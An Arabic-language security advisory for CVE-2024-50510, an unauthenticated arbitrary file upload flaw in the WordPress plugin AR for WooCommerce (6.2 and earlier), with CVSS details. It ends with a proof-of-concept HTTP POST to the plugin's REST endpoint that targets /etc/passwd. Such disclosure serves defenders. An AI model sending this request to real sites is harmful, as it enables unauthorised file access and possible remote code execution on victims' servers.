CVE-2024-50510

AR For Woocommerce <= 6.2 - رفع ملفات عشوائية بدون مصادقة

الوصف

إضافة AR for WooCommerce الخاصة بووردبريس معرضة لرفع ملفات عشوائية بسبب عدم التحقق من نوع الملف في جميع الإصدارات حتى 6.2 وما يشملها. وهذا يتيح للمهاجمين غير المصادق عليهم رفع ملفات عشوائية على خادم الموقع المتأثر، مما قد يجعل تنفيذ الأكواد عن بُعد ممكنًا.

التفاصيل

• النوع: إضافة
• المعرّف: ar-for-woocommerce
• الإصدار المتأثر: 6.2
• درجة CVSS: 9.8
• تصنيف CVSS: حرج
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• الحالة: نشط

إثبات المفهوم

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}